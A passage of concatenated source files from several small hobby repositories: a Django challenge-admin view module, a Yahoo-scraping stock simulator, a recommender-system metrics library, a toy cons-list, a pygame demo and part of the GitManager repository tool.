user_list=User.objects.all() for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 if request.method=="POST": c = Challenges.objects.get(name=k.name) print("ed"+c.name) c.name=request.POST.get('cn') c.technology=request.POST.get('tech') c.account=request.POST.get('acc') c.capability=request.POST.get('cap') c.applicant_status=request.POST.get('astat') c.expiry_date=request.POST.get('edate') c.category=request.POST.get('cat') c.manager=request.POST.get('manager') c.owner=request.POST.get('powner') c.points=request.POST.get('points') c.desc=request.POST.get('desc') c.date_posted=k.date_posted c.applicant=request.POST.get('applicant') c.save() url = reverse('admin', kwargs={'username': username}) return HttpResponseRedirect(url) return render(request,'user_admin/edit.html',context) def delete(request,username): c_name=username.split('_')[1] username=username.split("_")[0] challenges=Challenges.objects.all() for c in challenges: if str(c)==c_name: c.delete() url = reverse('admin', kwargs={'username': username}) return HttpResponseRedirect(url) @login_required def show(request,username): c_name=username.split('_')[1] print(c_name) username=username.split("_")[0] challenges=Challenges.objects.all() context={} for c in challenges: if str(c)==c_name: context['ch']=c user_list=User.objects.all() for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 return render(request,'user_admin/show.html',context) @login_required def user_logout(request): #request.session.flush() logout(request) return redirect('/') @login_required def applicants(request,username): c_name=username.split('_')[1] username=username.split("_")[0] challenges=Challenges.objects.all() context={} for c in challenges: if str(c)==c_name: context['ch']=c break user_list=User.objects.all() for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 break appl=AppliedChallenges.objects.filter(challenge=str(context['ch'])) context['appls']=appl for a in appl: o=User.objects.filter(username=a.user) context['o']=o h=[] e=dict() for i in o: a=AppliedChallenges.objects.filter(challenge=str(context['ch'])).filter(user=i.username) for r in a: e[i.username]=r.completed print(e[i.username]) context['e']=e return render(request,'user_admin/applicants.html',context) @login_required def complete(request,username): c_name=username.split('_')[1] print(c_name) username=username.split("_")[0] challenges=Challenges.objects.all() context={} for c in challenges: if str(c)==c_name: context['ch']=c break user_list=User.objects.all() for u in user_list: if str(u)==str(username): user_info=u context['usr']=user_info user_admin_list=UserAdmin.objects.all() for user2 in user_admin_list: if str(user2)==str(username): context['uad']=user2 break
[ "/idil/basic_app/forms.py", "/idil/basic_app/migrations/0003_auto_20200817_2347.py", "/idil/basic_app/migrations/0006_auto_20200819_2225.py", "/idil/basic_app/models.py", "/idil/basic_app/urls.py", "/idil/basic_app/views.py", "/idil/user_admin/admin.py", "/idil/user_admin/migrations/0001_initial.py", "/idil/user_admin/migrations/0002_challenges.py", "/idil/user_admin/migrations/0003_auto_20200821_0413.py", "/idil/user_admin/migrations/0004_auto_20200821_0415.py", "/idil/user_admin/migrations/0005_auto_20200821_0418.py", "/idil/user_admin/migrations/0006_remove_challenges_applicant_status.py", "/idil/user_admin/migrations/0007_challenges_applicant_status.py", "/idil/user_admin/migrations/0008_appliedchallenges.py", "/idil/user_admin/migrations/0009_auto_20200823_1351.py", "/idil/user_admin/migrations/0010_auto_20200823_1354.py", "/idil/user_admin/models.py", "/idil/user_admin/urls.py", "/idil/user_admin/views1.py" ]
00MB/stock-simulation
line = "\n" + "_" * 50 + "\n" #globals = {"start" : start, "quit" : quit, "help" : help, "about" : about} --- FILE SEPARATOR --- #Python stock market simulator from globals import * from bs4 import BeautifulSoup import requests def set(): global portfolio global funds fileread = open("data.txt", "r") funds = fileread.readline() funds = float(funds.strip()) portfolio = fileread.readline().strip().split(",") if portfolio != [""]: for x in range(len(portfolio)): portfolio[x] = portfolio[x].split("-") portfolio[x][1] = float(portfolio[x][1]) portfolio[x][2] = int(portfolio[x][2]) fileread.close() for x in range(len(portfolio)): if portfolio[x] == "": del portfolio[x] set() print(f"""\nThis is a real time investment simulation. \n If you are new or want to reset the simulation, type !START. \n To see a list of commands, type !COMMANDS {line}""") #FUNCTIONS def about(): print(""" This stock simulator is a weekend project created by github user 00MB on 20/7/20. The simulator works by scraping live figures from yahoo finance, and saving the user into a text file. Feel free to play around and break it. """) def buy(): global funds global portfolio symbol = input("Enter stock symbol: ") url = "https://uk.finance.yahoo.com/quote/" + symbol headers = {"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) snap Chromium/83.0.4103.61 Chrome/83.0.4103.61 Safari/537.36"} request = requests.get(url, headers=headers) soup = BeautifulSoup(request.content, 'html.parser') try: price = soup.find("span", class_="Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)").get_text() price = float(price.replace(',','')) except: print("ERROR - invalid stock symbol") return print(f"Stock price: ${price}") print(f"funds available: ${funds}") try: amount = int(input("Please insert stock amount (To cancel, insert 0): ")) except ValueError: print("\nERROR - incorrect data type") return if amount < 0 or amount > 1000: print("ERROR - unavailable amount") return elif amount == 0: return totalsum = amount * price if totalsum > funds: print("Costs exceeds available funds") return else: portfolio.append([symbol,price,amount]) funds = round((funds - totalsum),2) print("Successfully purchased stock") def sell(): global funds global portfolio try: symbol = input("Enter stock symbol to sell: ") names = [x[0] for x in portfolio] index = names.index(symbol) print(f"index:{index}") except: print(f"ERROR - no {symbol} stock is owned") return print(f"Amount owned: {portfolio[index][2]}") try: amount = int(input("Input amount of stocks to sell: ")) except ValueError: print("\nERROR - incorrect data type") return if amount > portfolio[index][2]: print("ERROR - invalid input") return url = "https://uk.finance.yahoo.com/quote/" + symbol headers = {"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) snap Chromium/83.0.4103.61 Chrome/83.0.4103.61 Safari/537.36"} request = requests.get(url, headers=headers) soup = BeautifulSoup(request.content, 'html.parser') price = soup.find("span", class_="Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)").get_text() price = float(price.replace(',','')) print(f"Stock bought at: ${portfolio[index][1]}") print(f"Current stock price: ${price}") print(f"Profit/loss: ${amount * (float(price) - float(portfolio[index][1]))}\n") sold = input(f"Would you like to sell {symbol} stock at ${price} (type Y or N): ") if sold.lower() == "n": print("Request cancelled") return elif sold.lower() == "y": pass else: print("ERROR - invalid input") return amountnew = portfolio[index][2] - amount funds = round((funds + (float(price) * amount)),2) if amountnew == 0: del portfolio[index] else: portfolio[index][2] = amountnew print(f"Successfully sold {symbol} stock at ${price}, your funds available are ${funds}") if funds < 0: print("\nFunds available have reached less than 0, please type !START to reset") def fund(): print(f"Current funds available: ${funds}") def stocks(): print("Current stocks:") for x in portfolio: print(f"Symbol: {x[0]}, Bought at: ${x[1]}, Amount: {x[2]}") def start(): global funds global portfolio try: funds = float(input("Enter your starting amount: $")) except ValueError: print("\nERROR - incorrect data type") return print("\nSuccessfully set funds") portfolio = [] def quit(): dup = portfolio filewrite = open("data.txt", "w") filewrite.write(str(funds)+"\n") for x in range(len(dup)): dup[x][1] = str(dup[x][1]) dup[x][2] = str(dup[x][2]) dup[x] = "-".join(dup[x]) dup = ",".join(dup) filewrite.write(dup) filewrite.close() exit() def save(): dup = portfolio filewrite = open("data.txt", "w") filewrite.write(str(funds)) filewrite.write("\n") for x in range(len(dup)): dup[x][1] = str(dup[x][1]) dup[x][2] = str(dup[x][2]) dup[x] = "-".join(dup[x]) dup = ",".join(dup) filewrite.write(dup) filewrite.close() set() def commands(): print(""" !ABOUT - displays information about the program and creator\n !BUY - displays menu to buy stocks\n # !FUND - displays the current funds available\n # !PRICE {stock symbol} - displays live price of stock\n !QUIT - stops the process and closes the application\n !SAVE - saves current stocks and available funds\n !SELL - displays menu to sell your current stocks\n # !START - clears data and prompts user to enter starting funds amount\n # !STOCKS - displays the currently owned stocks\n # """) globals = {'!BUY' : buy, '!START' : start, '!QUIT' : quit, '!COMMANDS' : commands, '!STOCKS' : stocks, '!FUND' : fund, '!SELL' : sell, '!SAVE' : save, '!ABOUT' : about} while True: inp = input("Enter command: ") if inp in globals: print("\n") globals[inp]() print(line) else: print("ERROR - invalid command")
[ "/globals.py", "/stock.py" ]
00arun00/PyRate
def readGz(f): import gzip for l in gzip.open(f): yield eval(l) def amazon_purchase_review(): ''' Loads the amazon purchase review data ''' import pandas as pd import numpy as np from sklearn.model_selection import train_test_split as tts f_name=('Data/assignment1/train.json.gz') df = pd.DataFrame(readGz(f_name))[['itemID','reviewerID','rating']] data = df.values x = data[:,:2] y = data[:,2:] x_train,x_test,y_train,y_test = tts(x,y,test_size = 0.5) return x_train,y_train,x_test,y_test --- FILE SEPARATOR --- import numpy as np class Metric(object): ''' Abstarct class for evaluation metrics ''' @staticmethod def score(Y_hat,Y): ''' retruns the score based on the eval metric Args: :Y_hat (numpy.ndarray): Predicted values :Y (numpy.ndarray): Labels Returns: :error (float): Score ''' raise NotImplementedError('Abstract class') def __call__(self,Y_hat,Y): return self.score(Y_hat,Y) def __repr__(self): if hasattr(self,'eval_metric'): return f'{self.eval_metric}' else: raise NotImplementedError('pretty print not implemented') class RMSE(Metric): ''' Root Mean Square Error ''' def __init__(self): self.eval_metric = "RMSE" @staticmethod def score(Y_hat,Y): ''' retruns the score based on root mean square Args: :Y_hat (numpy.ndarray): Predicted values :Y (numpy.ndarray): Labels Returns: :error (float): Score based on RMSE ''' error = np.sqrt(np.mean((Y_hat-Y)**2)) return error class MSE(Metric): ''' Mean Square Error ''' def __init__(self): self.eval_metric = "MSE" @staticmethod def score(Y_hat,Y): ''' retruns the score based on root mean square Args: :Y_hat (numpy.ndarray): Predicted values :Y (numpy.ndarray): Labels Returns: :error (float): Score based on MSE ''' error = np.mean((Y_hat-Y)**2) return error class SSE(Metric): ''' Sum of Square Error ''' def __init__(self): self.eval_metric = "SSE" @staticmethod def score(Y_hat,Y): ''' retruns the score based on sum of squared error Args: :Y_hat (numpy.ndarray): Predicted values :Y (numpy.ndarray): Labels Returns: :error (float): Score based on SSE ''' error = np.sum((Y_hat-Y)**2) return error class MAE(Metric): ''' Mean Absolute Error ''' def __init__(self): self.eval_metric = "MAE" @staticmethod def score(Y_hat,Y): ''' retruns the score based on mean absolute error Args: :Y_hat (numpy.ndarray): Predicted values :Y (numpy.ndarray): Labels Returns: :error (float): Score based on MAE ''' error = np.mean(np.abs((Y_hat-Y)**2)) return error #aliases rmse = RMSE mse = MSE sse = SSE mae = MAE --- FILE SEPARATOR --- import numpy as np import warnings from eval_metrics import Metric class Model(object): ''' Recomender System model to be used **Note** This is a base class and cannot be used to make predictions ''' def __call__(self,X): ''' redirect to predict ''' return self.predict(X) def __repr__(self): ''' pretty print ''' if hasattr(self,'model_name'): return f'{self.model_name}' else: return 'Not implemented' def _predict_single_(self,x): ''' Predicts single ''' return np.random.uniform(0,5) def predict(self,X): ''' Predict Function Args: :X (numpy.ndarray): User, Item pairs to predict rating on Retruns: :predicted_rating (numpy.ndarray): predicted ratings ''' predicted_rating = np.array(list(map(self._predict_single_,X))).reshape(-1,1) return predicted_rating def set_eval_metric(self,metric): ''' Sets evaluation metric Args: :metric (Metric): evaluation metric used ''' assert isinstance(metric,Metric) self.eval_metric = metric def score(self,X,Y): ''' Predicts the score based on set eval metric Args: :X (numpy.ndarray): Input :Y (numpy.ndarray): Labels Retruns: :score (float): score based on the selected eval metric ''' y_pred = self.predict(X) if not hasattr(self,'eval_metric'): raise KeyError("Please add eval_metric") score = self.eval_metric(y_pred,Y) return score def fit(self,X,Y): ''' Fits model to the data ''' raise NotImplementedError('This is an abstract class') class Baseline(Model): ''' Baseline model ''' def __init__(self): self.model_name = 'Baseline' self.alpha = 0 self.fit_flag = False def __call__(self,X): ''' redirect to predict ''' return self.predict(X) def _predict_single_(self,X): if not self.fit_flag: warnings.warn(f'Model currently not fit, predicting 0 for all') return self.alpha def fit(self,X,Y): ''' Fits model to the data ''' self.alpha = np.mean(Y) self.fit_flag = True --- FILE SEPARATOR --- import data_loader import eval_metrics import models
[ "/data_loader.py", "/eval_metrics.py", "/models.py", "/pyrate.py" ]
00ba/LIST
''' Created on Sep 8, 2016 ''' class Cell: def __init__(self): self.cell = [] def get_car(self): result = self.cell.pop(0) return result def set_car(self, n): self.cell.insert(0, n) def get_cdr(self): result = self.cell.pop() return result def set_cdr(self, n): self.cell.append(n) class List(Cell): def __init__(self): self.root = Cell() def get_list(self): print self.root.cell def set_list(self, *args): for arg in args: if self.root.cell == []: self.root = cons(arg) else: self.root = cons(arg, self.root.cell) return self.root def cons(a, b = None): newcell = Cell() newcell.set_car(a) newcell.set_cdr(b) return newcell def atom(a): if isinstance(a, int): return True elif isinstance(a, str): return True else: False def eq(a, b): if a == b: return True else: return False --- FILE SEPARATOR --- from list import * if __name__ == '__main__': mylist = List() mylist.set_list(1, 2, 3) mylist.get_list() --- FILE SEPARATOR --- ''' Created on Sep 8, 2016 ''' from list import * import unittest class Test(unittest.TestCase): def test_list(self): box = List() box = box.cons(1, 2) self.assertEquals(box.root.get_car(),1) self.assertEquals(box.root.get_cdr(),2) self.assertTrue(atom(1)) self.assertTrue(atom('two')) self.assertFalse(atom([1, 2])) self.assertTrue(eq(1, 1)) self.assertFalse(eq(1, 2)) mylist = List() mylist.set_list(1, 2, 3) mylist.get_list() self.assertEquals(mylist.get_list(), [3, [2, [1, None]]]) if __name__ == "__main__": #import sys;sys.argv = ['', 'Test.test_list'] unittest.main()
[ "/list.py", "/main.py", "/test_list.py" ]
00fatal00-dev/rpg-python
import pygame,sys from player import Player screen_size = (800, 600) screen = pygame.display.set_mode(screen_size) pygame.display.set_caption("Game") running = True #Initiating player player = Player(0, 0, 32, 32, (255, 0, 0), .075, 0, 0) while running: player.x += player.move_x player.y += player.move_y for event in pygame.event.get(): if event.type == pygame.QUIT: sys.exit() #Checking player movement if event.type == pygame.KEYDOWN: if event.key == pygame.K_w: player.move_y = -player.move_speed if event.type == pygame.KEYUP: if event.key == pygame.K_w: player.move_y = 0 if event.type == pygame.KEYDOWN: if event.key == pygame.K_s: player.move_y = player.move_speed if event.type == pygame.KEYUP: if event.key == pygame.K_s: player.move_y = 0 if event.type == pygame.KEYDOWN: if event.key == pygame.K_a: player.move_x -= player.move_speed if event.type == pygame.KEYUP: if event.key == pygame.K_a: player.move_x = 0 if event.type == pygame.KEYDOWN: if event.key == pygame.K_d: player.move_x += player.move_speed if event.type == pygame.KEYUP: if event.key == pygame.K_d: player.move_x = 0 screen.fill((0, 255, 0)) #Draw player pygame.draw.rect(screen, player.colour, (player.x, player.y, player.width, player.height), 0) pygame.display.update() --- FILE SEPARATOR --- import pygame import json class Player(): def __init__(self, x, y, width, height, colour, move_speed, move_x, move_y): self.x = x self.y = y self.width = width self.height = height self.colour = colour self.move_speed = move_speed self.move_x = move_x self.move_y = move_y self.stats = { 'health': 100 } def set_stats(self, stat_to_set, new_value): pass def get_stats(self, stat_to_get): return self.stats[stat_to_get]
[ "/main.py", "/player.py" ]
00mjk/GitManager
#!/usr/bin/env python import sys from GitManager import main if __name__ == '__main__': code = main.main(sys.argv) sys.exit(code) --- FILE SEPARATOR --- from typing import List import typing from ..utils import format from ..repo import description class Command(object): """ Flag indicating if this command is a plain command, that is not fancy lines will be used. """ PLAIN = False LOCAL = False FILTER = False def __init__(self, line: format.TerminalLine, repos: List[description.RepositoryDescription], *args: str): self.__line = line self.__repos = repos self.__args = self.parse(*args) # current state when running this command self.__idx = None self.__repo = None def parse(self, *args: str) -> typing.Any: """ Parses arguments given to this Command """ # if we support filtering, set the filter if self.__class__.FILTER and len(args) > 0: self.__repos = list( filter(lambda d: d.remote.matches(args[0]), self.__repos)) @property def args(self) -> typing.Any: """ Arguments passed to this instance""" return self.__args @property def repos(self) -> List[description.RepositoryDescription]: """ A list of repositories subject to this command. """ # if we are a local command, we only use local repositories if self.__class__.LOCAL: return list(filter(lambda ds: ds.local.exists(), self.__repos)) # else we return all the repositories else: return list(self.__repos) @property def line(self) -> format.TerminalLine: return self.__line def run(self, repo: description.RepositoryDescription) \ -> bool: """ Runs this Command on a given repository """ raise NotImplementedError def write(self, message: typing.Any): """ Writes text from this command. """ self.line.linebreak() print(message) def write_with_counter(self, message: str): """ Writes a message together with a counter into the line """ # repo count and number of zeros for it repo_count = len(self.repos) zcount = len(str(repo_count)) # the prefix - a counter prefix = "[{}/{}] ".format( str(self.__idx + 1).zfill(zcount), repo_count, ) self.line.write("{}{}".format(prefix, message)) def write_path_with_counter(self, path: str): """ Writes a path with a counter""" # repo count and number of zeros for it repo_count = len(self.repos) zcount = len(str(repo_count)) # the prefix - a counter prefix = "[{}/{}] ".format( str(self.__idx + 1).zfill(zcount), repo_count, ) # and write the message to the output message = format.Format.short_path(path, self.line.width - len(prefix)) self.write_with_counter(message) def __call__(self, *args: str) -> int: """ Runs this command on a set of repositories """ counter = 0 for (i, repo) in enumerate(self.repos): self.__idx = i self.__repo = repo if not self.__class__.PLAIN: self.write_path_with_counter(repo.local.path) if self.run(repo): counter += 1 self.line.clean() return counter --- FILE SEPARATOR --- from GitManager.utils import format from GitManager.config import file from GitManager.repo import implementation, description import os import argparse class Clone(object): """ A command to clone and optionally save a repository """ def __init__(self, line: format.TerminalLine, config: file.File, *commandargs): self.config = config self.line = line parser = argparse.ArgumentParser('Clones a repository as ' 'configured in the config ' 'file. ') parser.add_argument('--save', action='store_true', default=False) parser.add_argument('url', help='URL to clone') parser.add_argument('arguments', nargs=argparse.REMAINDER, help='Extra arguments to pass to git clone ' 'command. ') self.args = parser.parse_args(commandargs) def url_to_description(self, url: str) \ -> description.RepositoryDescription: """ Turns a URL into a repository description """ remote = implementation.RemoteRepository(url) local = implementation.LocalRepository( os.path.join(self.config.root, *remote.components())) return description.RepositoryDescription(remote.url, local.path) def __call__(self): # get the path to clone into desc = self.url_to_description(self.args.url) if desc.local.exists(): self.line.write('Repository already exists, nothing to clone. ') return # if requested, save it if self.args.save: self.config.insert_repo_or_get(desc) self.config.write() desc.remote.clone(desc.local, *self.args.arguments) --- FILE SEPARATOR --- import typing from ..repo import description from . import Command class Fetch(Command): """ Fetch all remotes for all repositories """ LOCAL = True FILTER = True def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False return repo.local.fetch() --- FILE SEPARATOR --- import typing from ..repo import description from . import Command class GC(Command): """ Runs house keeping tasks with parameters """ LOCAL = True FILTER = True def parse(self, *args: str) -> typing.Any: """ Parses arguments given to this Command """ if len(args) > 0 and not args[0].startswith('-'): super(GC, self).parse(args[0]) self.__args = args[1:] else: self.__args = args def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False self.line.linebreak() return repo.local.gc(*self.__args) --- FILE SEPARATOR --- import typing from ..repo import description from . import Command class LsLocal(Command): """ Lists all local commands """ PLAIN = True LOCAL = True FILTER = True def run(self, repo: description.RepositoryDescription) -> bool: if repo.local.exists(): print(repo.local.path) return True --- FILE SEPARATOR --- import typing from ..repo import description from . import Command class Pull(Command): """ Pulls a repository """ LOCAL = True FILTER = True def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False self.line.linebreak() return repo.local.pull() --- FILE SEPARATOR --- import typing from ..repo import description from . import Command class Push(Command): """ Pushes a repository """ LOCAL = True FILTER = True def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False self.line.linebreak() return repo.local.push() --- FILE SEPARATOR --- import typing import argparse from ..config import file from ..repo import finder from ..repo.implementation import LocalRepository from ..utils import format import os import sys class Reconfigure(object): """ Reconfigure the configuration file""" def __init__(self, line: format.TerminalLine, f: file.File, *args: str): self.file = f self.line = line self.args = self.parse(*args) def parse(self, *args: str) -> typing.Any: """ Parses arguments given to this Command """ parser = argparse.ArgumentParser(prog='git-manager reconfigure', description='Recursively add ' 'repositories to the ' 'configuration file') parser.add_argument('--simulate', '-s', dest='simulate', action='store_true', default=False, help='Instead of writing out the configuration ' 'file to disk, print it to STDOUT. ') parser.add_argument('--rebuild', '-re', dest='rebuild', action='store_true', default=False, help='Rebuild and clean up the configuration ' 'file, removing empty groups. ') parser.add_argument('--remove', '-rm', dest='remove', nargs='*', help='Remove directories from config file ' 'provided they exist. ') parser.add_argument('--clear', '-c', dest='clear', action='store_true', default=False, help='Clear all existing repositories from the ' 'configuration. ') parser.add_argument('--follow-symlinks', '-f', dest='follow_symlinks', action='store_true', default=False, help='When looking for repositories to add, ' 'automatically follow symlinks. Use with ' 'caution, as there are no checks for ' 'circularity. ') parser.add_argument('--allow-subrepositories', '-a', dest='allow_subrepositories', action='store_true', default=False, help='When looking for repositories to add, ' 'keep searching within folders of existing ' 'repositories. ') parser.add_argument('path', nargs='?', default=None, help='Rebuild and clean up the configuration ' 'file, removing empty groups. ') return parser.parse_args(args) def __call__(self): # if no paths are given, use the current path if not self.args.rebuild and \ self.args.path is None and \ not self.args.remove: self.args.path = os.getcwd() # remove all the locally given repositories if self.args.remove: for path in self.args.remove: success = self.file.remove_local(LocalRepository(path)) if not self.args.simulate: if success: self.line.write('Removed {}'.format(path)) else: self.line.write('Not Found: {}'.format(path)) self.line.linebreak() # clear the existing list if asked if self.args.clear: self.file.lines = [] if self.args.path is not None: # find repositories in the given path add them for desc in finder.Finder.find_recursive( self.args.path, allow_links=self.args.follow_symlinks, continue_in_repository=self.args.allow_subrepositories, callback=lambda s: self.line.write( format.Format.short_path(s, self.line.width)) ): if not self.args.simulate: self.line.linebreak() # print if we found a new repository if not self.file.contains(desc): self.line.write(desc.path) self.line.linebreak() self.line.write(" {}".format(desc.source)) self.line.linebreak() self.file.insert_repo_or_get(desc) # if the rebuild flag is set, rebuild all the repos if self.args.rebuild: self.file.rebuild() if self.args.simulate: for line in self.file.lines: print(line.write()) else: self.file.write() --- FILE SEPARATOR --- import typing import argparse from ..repo import description from ..repo import implementation from ..utils import format from . import Command class State(Command): """ Checks the state of all repositories, and list all those out-of-date""" LOCAL = True FILTER = True def parse(self, *args: str) -> typing.Any: """ Parses arguments given to this Command """ parser = argparse.ArgumentParser(prog='git-manager state') parser.add_argument('pattern', nargs='?') group = parser.add_mutually_exclusive_group() group.add_argument('--update', dest='update', action='store_true', default=True, help='Update remote references using \'git ' 'remote update\' before showing status. ' 'Enabled by default. ') group.add_argument('--no-update', dest='update', action='store_false', help='DO NOT update remote references using ' '\'git remote update\' ' 'before showing status. ') targs = parser.parse_args(args) if targs.pattern: super(State, self).parse(targs.pattern) return targs def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False status = repo.local.remote_status(self.args.update) if status == implementation.RemoteStatus.REMOTE_NEWER: self.line.linebreak() print(format.Format.yellow('Upstream is ahead of your branch, ' 'pull required. ')) elif status == implementation.RemoteStatus.LOCAL_NEWER: self.line.linebreak() print(format.Format.green('Your branch is ahead of upstream, ' 'push required.')) elif status == implementation.RemoteStatus.DIVERGENCE: self.line.linebreak() print(format.Format.red('Your branch and upstream have diverged, ' 'merge or rebase required. ')) return status == implementation.RemoteStatus.UP_TO_DATE --- FILE SEPARATOR --- import typing from ..repo import description from ..utils import run from . import Command class Status(Command): """ Checks that status of all repositories """ LOCAL = True FILTER = True def run(self, repo: description.RepositoryDescription) -> bool: if not repo.local.exists(): return False status = repo.local.local_status() if status is not None and status != '': self.line.linebreak() run.GitRun("status", cwd=repo.local.path, pipe_stdout=True).wait() return status == '' --- FILE SEPARATOR --- import typing import os.path from . import line, tree class File(tree.Tree): """ Methods for parsing and reading configuration file. """ def __init__(self, fn: str): """ Creates a new File object""" super().__init__() self.__fn = fn def read(self): """ Re-reads the lines currently contained in this file """ with open(self.__fn, "r") as fp: self.lines = [line.ConfigLine.parse(l.rstrip('\n')) for l in fp.readlines()] def write(self): """ Writes the lines currently contained in this file to disk """ with open(self.__fn, "w") as fp: for l in self.lines: fp.write("{}\n".format(l.write())) @staticmethod def find() -> typing.Optional[str]: """finds the location of the configuration file""" # 1. Check $GIT_MANAGER_CONFIG if set if "GIT_MANAGER_CONFIG" in os.environ: git_manager_config = os.environ["GIT_MANAGER_CONFIG"] if os.path.isfile(git_manager_config): return git_manager_config # 2. ~/.config/.gitmanager/config # (or $XDG_CONFIG_HOME/.gitmanager/config if set) if "XDG_CONFIG_HOME" in os.environ: xdg_config_home = os.environ["XDG_CONFIG_HOME"] else: xdg_config_home = os.path.join(os.path.expanduser("~"), ".config") xdg_config_path = os.path.join(xdg_config_home, ".gitmanager", "config") if os.path.isfile(xdg_config_path): return xdg_config_path # 3. ~/.gitmanager fallback_path = os.path.join(os.path.expanduser("~"), ".gitmanager") if os.path.isfile(fallback_path): return fallback_path __all__ = ["File"] --- FILE SEPARATOR --- import re import typing class ConfigLine(object): """ A single line in the configuration file """ DIRECTIVE_ROOT = re.compile(r'^(\s*)##(\s*)([^\s]+)(\s*)$') DIRECTIVE_NOP = re.compile(r'^((\s*)#(.*))|(\s*)$') DIRECTIVE_BASE = re.compile( r'(\s*)(>+)(\s+)([^\s]+)(\s*)$') DIRECTIVE_REPO = re.compile(r'^(\s*)([^>\s]+)(?:(\s+)([^\s]+))?(\s*)$') def __init__(self, indent: str): """ Creates a new ConfigLine object :param indent: The indent of this ConfigLine Line """ self.__indent = indent def __repr__(self): return "{}({})".format(self.__class__.__name__, repr(self.write())) @property def indent(self) -> str: return self.__indent def write(self) -> str: """ Turns this ConfigLine into a string that can be re-parsed """ raise NotImplementedError @staticmethod def parse(s: str): """ Parses a string into a ConfigLine :rtype: ConfigLine""" root_match = ConfigLine.DIRECTIVE_ROOT.match(s) if root_match: return RootLine(root_match.group(1), root_match.group(2), root_match.group(3), root_match.group(4)) nop_match = ConfigLine.DIRECTIVE_NOP.match(s) if nop_match: return NOPLine(s) base_match = ConfigLine.DIRECTIVE_BASE.match(s) if base_match: return BaseLine(base_match.group(1), len(base_match.group(2)), base_match.group(3), base_match.group(4), base_match.group(5) or '') repo_match = ConfigLine.DIRECTIVE_REPO.match(s) if repo_match: return RepoLine(repo_match.group(1), repo_match.group(2), repo_match.group(3) or '', repo_match.group(4) or '', repo_match.group(5)) raise ValueError("Input does not represent a ConfigLine") class NOPLine(ConfigLine): """ A line without meaning inside the Configuration File """ def __init__(self, line: str): """ Creates a new NopLine instance """ super().__init__('') self.__line = line @property def content(self) -> str: """ The content of this line """ return self.__line def write(self) -> str: """ Turns this ConfigLine into a string that can be re-parsed """ return self.__line def __eq__(self, other: typing.Any) -> bool: """ Checks that this line is equal to another line """ return isinstance(other, NOPLine) and self.content == other.content class RootLine(ConfigLine): """ A line defining the root of all repositories """ def __init__(self, indent: str, space_1: str, root: str, space_2: str): super().__init__(indent) self.__space_1 = space_1 self.__root = root self.__space_2 = space_2 @property def root(self) -> str: """ The root path being set """ return self.__root def write(self) -> str: """ Turns this ConfigLine into a string that can be re-parsed """ return "{}##{}{}{}".format(self.indent, self.__space_1, self.root, self.__space_2) def __eq__(self, other: typing.Any) -> bool: """ Checks that this line is equal to another line """ if isinstance(other, RootLine): return self.indent == other.indent and \ self.root == other.root and \ self.__space_1 == other.__space_1 and \ self.__space_2 == other.__space_2 return False class BaseLine(ConfigLine): """ A line introducing a new BaseLine """ def __init__(self, indent: str, depth: int, space_1: str, path: str, space_2: str): """ Creates a new BaseLine instance """ super().__init__(indent) self.__depth = depth self.__space_1 = space_1 self.__path = path self.__space_2 = space_2 @property def depth(self) -> int: """ The depth of this BaseLine directive """ return self.__depth @property def path(self) -> str: """ The path this BaseLine instance introduces """ return self.__path def write(self) -> str: """ Turns this ConfigLine into a string that can be re-parsed """ return "{}{}{}{}{}".format(self.indent, ">" * self.depth, self.__space_1, self.path, self.__space_2) def __eq__(self, other: typing.Any) -> bool: """ Checks that this line is equal to another line """ if isinstance(other, BaseLine): return self.indent == other.indent and \ self.depth == other.depth and \ self.__space_1 == other.__space_1 and \ self.path == other.path and \ self.__space_2 == other.__space_2 return False class RepoLine(ConfigLine): """ a line representing a single repository """ def __init__(self, indent: str, url: str, space_1: str, path: str, space_2: str): """ Creates a new RepoLine instance """ super().__init__(indent) self.__url = url self.__space_1 = space_1 self.__path = path self.__space_2 = space_2 @property def url(self) -> str: """ The url this repo should be cloned from """ return self.__url @property def path(self) -> str: """ The path this repo should be cloned into """ return self.__path def write(self) -> str: """ Turns this ConfigLine into a string that can be re-parsed """ return "{}{}{}{}{}".format(self.indent, self.url, self.__space_1, self.path, self.__space_2) def __eq__(self, other: typing.Any) -> bool: """ Checks that this line is equal to another line """ if isinstance(other, RepoLine): return self.indent == other.indent and \ self.url == other.url and \ self.__space_1 == other.__space_1 and \ self.path == other.path and \ self.__space_2 == other.__space_2 return False --- FILE SEPARATOR --- import typing import os from . import line from ..repo import description as desc from ..repo import implementation as impl class Tree(object): """ Represents a Tree of Repositories """ def __init__(self): """ Creates a new Tree object""" self.__lines = [] self.__base_directory = os.path.expanduser('~').rstrip("/") self.__root = self.__base_directory @property def lines(self) -> typing.List[line.ConfigLine]: """ the lines currently contained in this File """ return self.__lines @property def descriptions(self) -> \ typing.Generator[typing.Tuple[int, desc.Description], None, None]: """ an iterator for pairs of (line, description) """ # A stack for repo folders path_stack = [self.__base_directory] for (i, l) in enumerate(self.lines): if isinstance(l, line.BaseLine): # extract the current and new order of the lines current_order = len(path_stack) new_order = l.depth # we can not have a new order lower than 1 depth of the # current level if new_order > current_order: raise Exception( 'Error in line {}: Missing base sublevel. '.format( i + 1)) # Read the sub-directory to be added and the old one sub_dir = os.path.expanduser(l.path) previous_item = path_stack[new_order - 1] # add the new sub-directory new_sub_dir = os.path.join(previous_item, sub_dir) path_stack[new_order:] = [new_sub_dir] # and yield it yield i, desc.BaseDescription(new_sub_dir) if isinstance(l, line.RepoLine): # Extract the base directory and the source url stack_loc = path_stack[-1] source_uri = l.url # And the path to clone to folder = 